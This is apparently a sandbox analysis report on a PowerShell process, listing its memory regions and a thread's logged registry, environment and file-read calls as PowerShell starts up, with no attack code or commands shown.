pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000040000 0x00040000 0x00040fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00056fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00061fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
powershell.exe.mui 0x00070000 0x00072fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000080000 0x00080000 0x00080fff Private Memory Readable, Writable True True False
private_0x0000000000090000 0x00090000 0x0010ffff Private Memory Readable, Writable True True False
private_0x0000000000110000 0x00110000 0x00110fff Private Memory Readable, Writable True True False
pagefile_0x0000000000120000 0x00120000 0x00120fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000130000 0x00130000 0x00130fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000140000 0x00140000 0x00141fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000150000 0x00150000 0x0024ffff Private Memory Readable, Writable True True False
locale.nls 0x00250000 0x002b6fff Memory Mapped File Readable False False False
  • Region Actions
private_0x00000000002c0000 0x002c0000 0x003bffff Private Memory Readable, Writable True True False
pagefile_0x00000000003c0000 0x003c0000 0x003c0fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000003d0000 0x003d0000 0x003d1fff Pagefile Backed Memory Readable True False False
  • Region Actions
cversions.2.db 0x003e0000 0x003e3fff Memory Mapped File Readable True False False
  • Region Actions
private_0x00000000003f0000 0x003f0000 0x003fffff Private Memory Readable, Writable True True False
{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000011.db 0x00400000 0x0041efff Memory Mapped File Readable True False False
  • Region Actions
pagefile_0x0000000000420000 0x00420000 0x00420fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000018.db 0x00430000 0x0045ffff Memory Mapped File Readable True False False
  • Region Actions
cversions.2.db 0x00460000 0x00463fff Memory Mapped File Readable True False False
  • Region Actions
pagefile_0x0000000000470000 0x00470000 0x00470fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000480000 0x00480000 0x00482fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000490000 0x00490000 0x0049ffff Private Memory Readable, Writable True True False
pagefile_0x00000000004a0000 0x004a0000 0x00627fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000630000 0x00630000 0x007b0fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000007c0000 0x007c0000 0x01bbffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000001bc0000 0x01bc0000 0x01cbffff Private Memory Readable, Writable True True False
pagefile_0x0000000001cc0000 0x01cc0000 0x01cc0fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001cd0000 0x01cd0000 0x01cdffff Private Memory Readable, Writable True True False
private_0x0000000001ce0000 0x01ce0000 0x01cfffff Private Memory - True True False
private_0x0000000001d00000 0x01d00000 0x01d7ffff Private Memory Readable, Writable, Executable True True False
pagefile_0x0000000001d80000 0x01d80000 0x01e5efff Pagefile Backed Memory Readable True False False
  • Region Actions
{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db 0x01e60000 0x01ec5fff Memory Mapped File Readable True False False
  • Region Actions
private_0x0000000001ed0000 0x01ed0000 0x01f4ffff Private Memory Readable, Writable True True False
sortdefault.nls 0x01f50000 0x0221efff Memory Mapped File Readable False False False
  • Region Actions
l_intl.nls 0x02220000 0x02222fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000002230000 0x02230000 0x02230fff Private Memory Readable, Writable True True False
sorttbls.nlp 0x02240000 0x02244fff Memory Mapped File Readable False False False
  • Region Actions
microsoft.wsman.runtime.dll 0x02250000 0x02257fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x0000000002260000 0x02260000 0x022dffff Private Memory Readable, Writable True True False
pagefile_0x00000000022e0000 0x022e0000 0x022e0fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000022f0000 0x022f0000 0x022f0fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000002300000 0x02300000 0x0237ffff Private Memory Readable, Writable True True False
pagefile_0x0000000002380000 0x02380000 0x02772fff Pagefile Backed Memory Readable True False False
  • Region Actions
sortkey.nlp 0x02780000 0x027c0fff Memory Mapped File Readable False False False
  • Region Actions
private_0x00000000027e0000 0x027e0000 0x0285ffff Private Memory Readable, Writable, Executable True True False
pagefile_0x0000000002860000 0x02860000 0x02870fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000002880000 0x02880000 0x028fffff Private Memory Readable, Writable True True False
private_0x0000000002920000 0x02920000 0x0299ffff Private Memory Readable, Writable True True False
private_0x00000000029a0000 0x029a0000 0x02a9ffff Private Memory Readable, Writable True True False
mscorrc.dll 0x02aa0000 0x02af3fff Memory Mapped File Readable True False False
  • Region Actions
private_0x0000000002b20000 0x02b20000 0x02b2ffff Private Memory Readable, Writable True True False
private_0x0000000002b70000 0x02b70000 0x02beffff Private Memory Readable, Writable True True False
private_0x0000000002bf0000 0x02bf0000 0x1abeffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000001abf0000 0x1abf0000 0x1b2bffff Private Memory Readable, Writable True True False
private_0x000000001b2c0000 0x1b2c0000 0x1b3c0fff Private Memory Readable, Writable True True False
system.management.automation.dll 0x1b3d0000 0x1b6b1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll.mui 0x1b6c0000 0x1b77ffff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x000000001b780000 0x1b780000 0x1b87ffff Private Memory Readable, Writable True True False
system.transactions.dll 0x1e230000 0x1e278fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcr80.dll 0x75360000 0x75428fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x775e0000 0x776d9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x776e0000 0x777fefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x77800000 0x779a8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
psapi.dll 0x779d0000 0x779d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True True False
powershell.exe 0x13f630000 0x13f6a6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
culture.dll 0x642ff4a0000 0x642ff4a9fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.directoryservices.ni.dll 0x7fede4e0000 0x7fede674fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.management.ni.dll 0x7fede680000 0x7fede7ebfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
microsoft.powershell.security.ni.dll 0x7fedea50000 0x7fedea8dfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
microsoft.powershell.commands.management.ni.dll 0x7fedeb40000 0x7fedec57fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
microsoft.powershell.commands.utility.ni.dll 0x7fedec60000 0x7fedee75fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.transactions.ni.dll 0x7fedee80000 0x7fedef64fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
microsoft.wsman.management.ni.dll 0x7fedef70000 0x7fedf019fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.configuration.install.ni.dll 0x7fedf020000 0x7fedf051fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
microsoft.powershell.commands.diagnostics.ni.dll 0x7fedf060000 0x7fedf0c8fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.core.ni.dll 0x7fedf0d0000 0x7fedf3fdfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.management.automation.ni.dll 0x7fedf470000 0x7fedffccfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
microsoft.powershell.consolehost.ni.dll 0x7fee0230000 0x7fee02e1fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.xml.ni.dll 0x7fee1530000 0x7fee1bd4fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.ni.dll 0x7fee1fc0000 0x7fee29e2fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
mscorlib.ni.dll 0x7fee29f0000 0x7fee38cbfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
mscorwks.dll 0x7fee38d0000 0x7fee426cfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
mscoreei.dll 0x7fef13f0000 0x7fef1488fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
mscoree.dll 0x7fef1910000 0x7fef197efff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
shfolder.dll 0x7fef1ae0000 0x7fef1ae6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
linkinfo.dll 0x7fef6190000 0x7fef619bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shdocvw.dll 0x7fef61a0000 0x7fef61d3fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntshrui.dll 0x7fef7b70000 0x7fef7beffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cscapi.dll 0x7fef7bf0000 0x7fef7bfefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
apphelp.dll 0x7fef91c0000 0x7fef9216fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
uxtheme.dll 0x7fefb560000 0x7fefb5b5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
slc.dll 0x7fefbee0000 0x7fefbeeafff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
atl.dll 0x7fefbf10000 0x7fefbf28fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
comctl32.dll 0x7fefc060000 0x7fefc253fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
propsys.dll 0x7fefc4e0000 0x7fefc60bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntmarta.dll 0x7fefc740000 0x7fefc76cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x7fefc910000 0x7fefc91bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
userenv.dll 0x7fefcaf0000 0x7fefcb0dfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x7fefcd40000 0x7fefcd86fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x7fefd040000 0x7fefd056fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x7fefd540000 0x7fefd562fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x7fefd640000 0x7fefd64efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
profapi.dll 0x7fefd750000 0x7fefd75efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
devobj.dll 0x7fefd9b0000 0x7fefd9c9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x7fefd9d0000 0x7fefda3afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cfgmgr32.dll 0x7fefda40000 0x7fefda75fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x7fefdb40000 0x7fefdb6dfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
setupapi.dll 0x7fefdb70000 0x7fefdd46fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x7fefdd50000 0x7fefddeefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x7fefde70000 0x7fefdf46fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x7fefdf50000 0x7fefdf5dfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x7fefe1c0000 0x7fefe3c2fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x7fefe550000 0x7fefe5e8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x7fefe640000 0x7fefe76cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x7fefe770000 0x7fefe7e0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wldap32.dll 0x7fefe7f0000 0x7fefe841fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shell32.dll 0x7fefe850000 0x7feff5d7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x7feff710000 0x7feff818fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x7feff8c0000 0x7feff8defff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x7feff8e0000 0x7feff9bafff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x7feff9d0000 0x7feffa36fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x7feffa40000 0x7feffb08fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
apisetschema.dll 0x7feffb20000 0x7feffb20fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000007ff00020000 0x7ff00020000 0x7ff0002ffff Private Memory - True False False
  • Region Actions
private_0x000007ff00030000 0x7ff00030000 0x7ff0003ffff Private Memory - True True False
private_0x000007ff00040000 0x7ff00040000 0x7ff000dffff Private Memory - True False False
  • Region Actions
private_0x000007ff000e0000 0x7ff000e0000 0x7ff000effff Private Memory - True True False
private_0x000007ff000f0000 0x7ff000f0000 0x7ff0015ffff Private Memory - True True False
private_0x000007ff00160000 0x7ff00160000 0x7ff0016ffff Private Memory - True True False
private_0x000007ff00170000 0x7ff00170000 0x7ff0017ffff Private Memory - True True False
private_0x000007fffff10000 0x7fffff10000 0x7fffff1ffff Private Memory Readable, Writable, Executable True True False
private_0x000007fffff20000 0x7fffff20000 0x7fffffaffff Private Memory Readable, Writable, Executable True True False
pagefile_0x000007fffffb0000 0x7fffffb0000 0x7fffffd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000007fffffd3000 0x7fffffd3000 0x7fffffd4fff Private Memory Readable, Writable True True False
private_0x000007fffffd5000 0x7fffffd5000 0x7fffffd6fff Private Memory Readable, Writable True True False
private_0x000007fffffd7000 0x7fffffd7000 0x7fffffd8fff Private Memory Readable, Writable True True False
private_0x000007fffffd9000 0x7fffffd9000 0x7fffffdafff Private Memory Readable, Writable True True False
private_0x000007fffffdb000 0x7fffffdb000 0x7fffffdcfff Private Memory Readable, Writable True True False
private_0x000007fffffdd000 0x7fffffdd000 0x7fffffdefff Private Memory Readable, Writable True True False
private_0x000007fffffdf000 0x7fffffdf000 0x7fffffdffff Private Memory Readable, Writable True True False
For performance reasons, the remaining 36 entries are omitted.
The remaining entries can be found in flog.txt.
Threads
Thread 0x768
(Host: 322, Network: 0)
+
Category Operation Information Success Count Logfile
System Get Info type = Operating System False 3
Fn
File Get Info filename = C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll, type = file_attributes True 1
Fn
Module Get Filename process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe, file_name_orig = C:\Windows\SYSteM32\windowspOweRSHeLL\V1.0\PoWErSHELL.Exe, size = 2048 True 1
Fn
System Get Info type = SYSTEM_PROCESS_INFORMATION True 1
Fn
Environment Get Environment String name = MshEnableTrace False 3
Fn
File Get Info filename = C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll, type = file_attributes True 1
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1 True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 9
Fn
File Get Info filename = C:\Windows\SYSteM32\windowspOweRSHeLL\V1.0\PoWErSHELL.config, type = file_attributes False 1
Fn
Environment Get Environment String name = MshEnableTrace False 6
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
System Get Info type = Operating System False 1
Fn
Environment Get Environment String name = MshEnableTrace False 3
Fn
Environment Get Environment String name = MshEnableTrace False 10
Fn
Environment Get Environment String name = PSMODULEPATH, result_out = C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment, value_name = PSMODULEPATH, data = 0, type = REG_EXPAND_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment, value_name = PSMODULEPATH, data = %SystemRoot%\system32\WindowsPowerShell\v1.0\Modules\, type = REG_EXPAND_SZ True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Environment True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Environment, value_name = PSMODULEPATH, type = REG_NONE False 1
Fn
Environment Set Environment String name = PSMODULEPATH, value = C:\Users\aETAdzjz\Documents\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 4
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell, value_name = path, data = 0, type = REG_SZ True 2
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell, value_name = path, data = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml, type = file_attributes True 1
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
File Get Info type = file_type True 2
Fn
File Read size = 4096, size_out = 4096 True 3
Fn
Data
File Read size = 4096, size_out = 3315 True 1
Fn
Data
File Read size = 781, size_out = 0 True 1
Fn
File Read size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
System Get Info type = Hardware Information True 1
Fn
File Get Info type = file_type True 1
Fn
File Read size = 4096, size_out = 4096 True 41
Fn
Data
File Read size = 4096, size_out = 436 True 1
Fn
Data
File Read size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell, value_name = path, data = 0, type = REG_SZ True 2
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell, value_name = path, data = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml, type = file_attributes True 1
Fn
Environment Get Environment String name = MshEnableTrace False 4
Fn
File Get Info type = file_type True 1
Fn
File Read size = 4096, size_out = 4096 True 6
Fn
Data
File Read size = 4096, size_out = 2530 True 1
Fn
Data
File Read size = 542, size_out = 0 True 1
Fn
File Read size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Create filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_type True 2
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 4096 True 5
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 4018 True 1
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 78, size_out = 0 True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_type True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 4096 True 6
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 2762 True 1
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 310, size_out = 0 True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_type True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 4096 True 17
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 3022 True 1
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 50, size_out = 0 True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_type True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 4096 True 4
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 281 True 1
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
